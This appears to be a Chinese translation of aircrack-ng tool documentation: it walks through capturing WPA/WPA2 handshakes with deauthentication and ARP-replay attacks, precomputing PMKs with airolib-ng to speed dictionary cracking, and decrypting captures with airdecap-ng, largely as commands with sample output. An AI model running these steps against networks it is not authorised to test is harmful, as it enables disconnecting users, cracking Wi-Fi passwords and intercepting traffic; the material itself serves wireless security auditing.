用Atheros捕捉到的WPA/WPA2握手包


airmon-ng start ath0
airodump-ng -c 6 --bssid 00:14:6C:7E:40:80 -w out ath0  (switch to another console)
aireplay-ng -0 5 -a 00:14:6C:7E:40:80 -c 00:0F:B5:AB:CB:9D ath0
(wait for a few seconds)
aircrack-ng -w /path/to/dictionary out.cap


对上面命令的解释：




airodump-ng -c 6 –bssid 00:14:6C:7E:40:80 -w out ath0


其中：



	-c 6表示监听的信道

	–bssid 00:14:6C:7E:40:80限定只从此接入点捕捉数据包

	-w out表示存放数据包的文件名前缀

	ath0是monitor接口名






aireplay-ng -0 5 -a 00:14:6C:7E:40:80 -c 00:0F:B5:AB:CB:9D ath0


其中：



	-0表示解除认证攻击

	5是我们发送断开包的数量

	-a 00:14:6C:7E:40:80是接入点的MAC地址

	-c 00:0F:B5:34:30:30是我们所要攻击用户的MAC地址

	ath0表示monitor接口




此命令后应该会输出：




 12:55:56  Sending DeAuth to station   -- STMAC: [00:0F:B5:AB:CB:9D]
 12:55:56  Sending DeAuth to station   -- STMAC: [00:0F:B5:AB:CB:9D]
 12:55:57  Sending DeAuth to station   -- STMAC: [00:0F:B5:AB:CB:9D]
 12:55:58  Sending DeAuth to station   -- STMAC: [00:0F:B5:AB:CB:9D]
 12:55:58  Sending DeAuth to station   -- STMAC: [00:0F:B5:AB:CB:9D]


使用Prism网卡产生ARP请求


airmon-ng start wlan0
airodump-ng -c 6 -w out --bssid 00:13:10:30:24:9C wlan0  (switch to another console)
aireplay-ng -0 10 -a 00:13:10:30:24:9C wlan0
aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:09:5B:EB:C5:2B wlan0


在发动解除认证攻击以后，我们开始使用-3模式监听ARP请求。其中的-h选项是强制的，表示连接客户端的MAC地址。


用法指导



	指定一个特定的客户端，攻击效率会更高。

	解除认证包会直接从我们的电脑发送到客户端，所以我们必须和客户端离得足够的近，以使得数据包能被成功传送




常见问题及解决方法


为什么deauthentication不能正常进行



	我们距离客户端太远。我们需要足够的传送功率将数据包发送给客户端。事实上，每一个发送出去的数据包都应该有一个“ack”被包发送回来，如果ack数为0，则表明客户端没有接收到

	无线网卡工作在特定的模式下，如b、g、n等。如果我们的网卡和客户端网卡处于不同的模式，那么客户端就不能接收到我们发送的数据包

	有些客户端会忽视广播的数据包，这时我们需要定向发送解除认证包

	客户端重新连接的速度太快，我们没有注意到他们被断开过。




Airolib-ng命令

描述


Airolib-ng是aircrack-ng套装里的又一个工具，用来存储和处理网络名和密码表。通过计算PMK，用于WPA/WPA2的破解。Airolib-ng使用了轻量级的SQLite3数据库作为存储机制，在大多数平台上都适用。选用SQLite3综合了可用性、处理能力、存储和磁盘开销等多方面的因素。


破解WPA/WPA2涉及到计算PMK（pairwise master key），而PTK（private transient key）就是从PMK计算得到。通过PTK我们可以计算得到给定包的MIC（message identity code），然后可以判断是否与包里的MIC相同。因此，只要PTK是正确的，PMK就是正确的。


由于使用了pbkdf2算法，导致PMK的计算是非常慢的。然而，对于给定的网络名和密码，PMK是不变的。这就提醒我们可以通过预先计算这些组合（获得PMK），来加速WPA/WPA2的破解。经试验，在aircrack-ng中使用预先计算PMK的方法，可以使破解速度达到>50 000keys/s。


有时计算PMK是必要的，我们可以：



	预先计算PMK供以后或共享使用

	使用分布式机器来计算PMK然后再在别的地方使用






用法




airolib <database> <operation> [options]


其中：



	database 表示数据库文件。可以是绝对路径

	operation 指定了我们要对数据库进行的操作

	options 有时会需要（取决于指定的操作）




以下是可用的操作：



	–stats：输出一些和数据库相关的信息

	–sql {sql}：执行所给的SQL语句

	–clean [all]：清理数据库里一些旧的垃圾。“all”选项会尝试减小文件大小，并做一个完整的检查

	–batch：开始计算所有网络名和密码的组合。此命令需用在aircrack-ng破解之前。当数据库添加了新的SSID或者密码时，也许重新计算

	–verify [all]：检验一些随机选择的PMK。如果带有“option”选项，数据库里所有的PMK都要被验证，不正确的会被删除

	–export cowpatty {essid} {file}：导出为cowpatty文件

	–import cowpatty {file}：导入一个cowpatty文件，如果数据库不存在则创建数据库

	import {essid|passwd} {file}：导入含有网络名或者秘钥列表的文本文件，如果数据库不存在会创建数据库。文件每行需含一个网络名或者密码，以换行符结束（这样读入时就会被当做“enter”）。




用法范例


状态操作


输入：


airolib-ng testdb --stats


其中：



	testdb表示将被创建的数据库

	–stats表示将被执行的操作




屏幕会显示：




 statsThere are 2 ESSIDs and 232 passwords in the database. 464 out of 464 possible combinations have been computed (100%).

 ESSID   Priority        Done
 Harkonen        64      100.0
 teddy   64      100.0


SQL操作


下面的命令会将“VeryImportantESSID”这个SSID赋予最大优先级。输入：




 airolib-ng testdb --sql 'update essid set prio=(select min(prio)-1 from essid) where essid="VeryImportantESSID";'


屏幕显示：




 update essid set prio=(select min(prio)-1 from essid) where essid="VeryImportantESSID";
 Query done. 1 rows affected.


下面的命令将会查找特定样式的PMK




 airolib-ng testdb --sql 'select hex(pmk) from pmk where hex(pmk) like "%DEADBEEF%"'


屏幕会显示：




 hex(pmk) BF3F122D3CE9ED6C6E7E1D7D13505E0A41EC4C5A3DEADBEEFFEFF597387AFCE3


清除操作


如果是基本的清除，输入：


airolib-ng testdb --clean


屏幕会显示：




 cleanDeleting invalid ESSIDs and passwords...
 Deleting unreferenced PMKs...
 Analysing index structure...
 Done.


同时尽可能减小文件大小并做完整的检查，输入：




 airolib-ng testdb --clean all


屏幕显示：




 cleanDeleting invalid ESSIDs and passwords...
 Deleting unreferenced PMKs...
 Analysing index structure...
 Vacuum-cleaning the database. This could take a while...
 Checking database integrity...
 integrity_check
 ok
 Query done. 2 rows affected.
 Done.




批处理操作


输入：




 airolib-ng testdb --batch


屏幕会显示：




 Computed 464 PMK in 10 seconds (46 PMK/s, 0 in buffer). No free ESSID found. Will try determining new ESSID in 5 minutes...


检验操作


检验1000个随机的PMK，输入：




 airolib-ng testdb --verify


屏幕显示：


 verifyChecking ~10.000 randomly chosen PMKs...
 ESSID   CHECKED STATUS
 Harkonen        233     OK
 teddy   233     OK


检验所有的PMK，输入：


 airolib-ng testdb --verify all


屏幕显示：




 verifyChecking all PMKs. This could take a while...
 ESSID   PASSWORD        PMK_DB  CORRECT




cowpatty表导出操作


输入：




 airolib-ng testdb --export cowpatty test cowexportoftest


屏幕显示：




 exportExporting...
 Done.


导入操作


SSID


导入ascii字符组成的SSID列表文件，并创建数据库（如果不存在），可输入命令：


 airolib-ng testdb --import essid ssidlist.txt


其中：



	testdb 表示将被更新的数据库名称，如果不存在则会被创建

	–import 表示将被执行的操作

	essid 后跟SSID列表文件

	ssidlist.txt 表示含有SSID的列表文件，每行一个




屏幕会显示：




 importReading...
 Writing...
 Done.


Passwords


导入ascii字符组成的密码字典文件，并创建数据库（如果不存在），可输入命令：




 airolib-ng testdb --import passwd password.lst


其中：



	testdb 表示将被更新的数据库名称，如果不存在则会被创建

	–import 表示将被执行的操作

	password 后跟密码字典文件

	password.list 表示含有密码字典的文件，每行一个




屏幕会显示：


 importReading...
 Writing... read, 1814 invalid lines ignored.
 Done.


Cowpatty表


导入一个Cowpatty表，并创建数据库（如果不存在）。输入命令：




 airolib-ng testdb --import cowpatty  cowexportoftest


其中：



	testdb 表示将被更新的数据库名称，如果不存在则会被创建

	–import 表示将被执行的操作

	cowpatty 后跟cowpatty表文件

	cowexportoftest 文件名，每行一个






结合Aircrack-ng使用范例


我们最终的目标是加速WPA/WPA2的破解速度。可以使用带参数”-r“的airolib-ng命令来指定数据库，从而使用预先计算的PMK破解秘钥。输入：




 aircrack-ng  -r testdb  wpa2.eapol.cap


其中：



	-r 指定使用包含PMK的数据库

	testdb 表示数据库文件名

	wpa2.eapol.cap 表示捕捉的含有WPA/WPA2握手包的文件




注：其他任何针对WPA/WPA2的命令选项都可以使用，以上只是一个很有局限性的例子。




用法指导


创建我们的数据库


使用到（方便起见，可使用KALI-Linux）：



	sqlite3（推荐使用最新版本）

	aircrack-ng（推荐使用最新版本）




插入一个essid：


echo Harkonen | airolib-ng testdb --import essid -


显示：




 Database <testdb> does not already exist, creating it...
 Database <testdb> sucessfully created
 Reading file...
 Writing...
 Done.


插入一个密码，输入命令：




echo 12345678 | airolib-ng testdb --import passwd -


显示：


 Reading file...
 Writing...
 Done.


开启批处理进程，等待完成。




airolib-ng testdb --batch


显示：




 Computed 1 PMK in 0 seconds (1 PMK/s, 0 in buffer). All ESSID processed.


检验数据库，确认所有组合都已经被计算：




airolib-ng testdb --stats


显示：




 There are 1 ESSIDs and 1 passwords in the database. 1 out of 1 possible combinations have been computed (100%).

 ESSID   Priority        Done
 Harkonen        64      100.0


破解WPA/WPA2握手包：




aircrack-ng -r testdb -e Harkonen wpa2.eapol.cap


显示：


 KEY FOUND! [ 12345678 ]


使用预先建好的数据库


另一种测试的方法是，我们可以先下载一个数据库passphrases.db。aircrack-ng文件中也由此数据库。然后，用这个数据库和aircrack-ng test文件夹里的WPA/WPA2包文件进行测试。包文件的名字为“wpa.cap” 和“wpa2.eapol.cap“。


可输入命令：




 aircrack-ng -r passphrases.db wpa.cap


或者：


 aircrack-ng -r passphrases.db wpa2.eapol.cap


常见问题及解决方法


编译Airolib-ng


默认情况下airolib-ng是没有编译的，可使用如下的命令来编译：




make sqlite=true




make sqlite=true install


编译错误


常是由于SQLite版本过低导致，需要>3.3.13版本的SQLite。出现的错误提示类似于：


gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=`../evalrev` -I/usr/local/include -Iinclude -DHAVE_SQLITE   -c -o airolib-ng.o airolib-ng.c
airolib-ng.c: In function `sql_prepare':
airolib-ng.c:129: warning: implicit declaration of function `sqlite3_prepare_v2'
make[1]: *** [airolib-ng.o] Error 1
make[1]: Leaving directory `/root/1.0-dev/src'
make: *** [all] Error 2


何时需要SQLite补丁


aircrack-ng里包含的SQLite补丁只有在windows环境中才需要。linux安装环境下并不需要。


Airolib-bg不能打开或者创建数据库


只有在windows环境下，由于airolib-ng的工作路径中含有’ç’, ‘é’, ‘è’, ‘à’等特殊字符，才会导致这个问题。（路径含有空格并不会影响）。解决方法是将airolib-ng移到没有此问题的路径中。


错误信息：”invalid lines ignored”


这种错误信息一般会在导入密码或者网络名文件中出现。是由于无效的密码或者网络名长度造成的，有效长度为：



	密码长度8~63字符

	网络名1~32字符




错误信息：”Quitting aircrack-ng…”


如果在随后的aircrack-ng破解中得到此提示信息，说明数据库中缺失网络名（ESSID）。需要添加进去然后重新运行批处理进程。


Aircrack-ng官方文档翻译---Airdecap-ng
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Description【简介】


With airdecap-ng you can decrypt WEP/WPA/WPA2 capture files. As well, it can also be used to strip the wireless headers from an unencrypted wireless capture.

It outputs a new file ending with ”-dec.cap” which is the decrypted/stripped version of the input file.

通过airdecap-ng，您可以解密基于WEP/WPA/WPA2加密的pcap文件。当然，airdecap-ng也可以用来给未加密的无线数据包剥离无线帧头（即802.11帧的首部）。它会生成一个以"-dec.cap"结尾命名的新文件，以此作为原始输入文件的 解密后/解封装 版本。







Usage【用法】

airdecap-ng [options] <pcap file>






	Option

选项
	Param.

参数
	
Description

描述





	-l
	
	don't remove the 802.11 header

不要移除802.11帧头



	-b
	bssid
	access point MAC address filter

以AP的MAC地址作为过滤条件



	-k
	pmk
	WPA/WPA2 Pairwise Master Key in hex

十六进制形式的WPA/WPA2 PMK



	-e
	essid
	target network ascii identifier

ascii形式的目标网络标识符



	-p
	pass
	target network WPA/WPA2 passphrase

目标网络的WPA/WPA2 passphrase（即预共享口令）



	-w
	key
	target network WEP key in hexadecimal

目标网络十六进制形式的WEP密钥











Wildcards may be used on the input file name providing it only matches a single file. In general, it is recommended that you use a single file name as input, not wildcarding.

您或许会在输入的pcap文件名中使用通配符，但请保证（使用通配符后）匹配的还是一个单一的文件。通常来说，airdecap-ng要求您以一个唯一的文件名作为输入，而非通配符。（可以理解为airdecap-ng一次仅能处理一个文件，所以您的输入不能通配多于一个文件。）





Usage Examples【使用示例】


The following removes the wireless headers from an open network (no WEP) capture:

要为从开放式（没有使用WEP保护）网络中捕获的无线数据包剥离802.11帧头，使用下面的命令：

airdecap-ng -b 00:09:5B:10:BC:5A open-network.cap
































The following decrypts a WEP-encrypted capture using a hexadecimal WEP key:

要使用十六进制形式的WEP密钥，解密经WEP加密的无线网络数据包，使用下面的命令：

airdecap-ng -w 11A3E229084349BC25D97E2939 wep.cap
































The following decrypts a WPA/WPA2 encrypted capture using the passphrase:

要使用passphrase（即预共享口令）解密经WPA/WPA2 加密的数据包，使用下面的命令：

airdecap-ng -e 'the ssid' -p passphrase  tkip.cap







Usage Tips【使用小贴士】



WPA/WPA2 Requirements【（成功解密使用）WPA/WPA2（保护的数据包）的前提】


The capture file must contain a valid four-way handshake. For this purpose having (packets 2 and 3) or (packets 3 and 4) will work correctly. In fact, you don't truly need all four handshake packets.

待解密的Pcap文件中必须含有有效的“四次握手包”。但实际上，您并不需要抓到完整的”四次握手包“。出于解密的目的，您仅需要抓到握手包2和3，或者握手包3和4，就可以正常解密了。

As well, only data packets following the handshake will be decrypted. This is because information is required from the handshake in order to decrypt the data packets.

此外，（airdecap-ng）只能解密（特定客户端和特定AP之间）在握手包之后的会话数据包。这是因为解密的时候必须要用到握手过程中产生的一些信息。




How to use spaces, double quote and single quote in AP names?

【怎样在AP的名字（即ESSID）里使用空格、双引号以及单引号】


See this 
FAQ entry 

点击这个常见问题条目来查看此问题。







Usage Troubleshooting【使用故障诊断】


None at this time. 

当前尚无。





译者说明：
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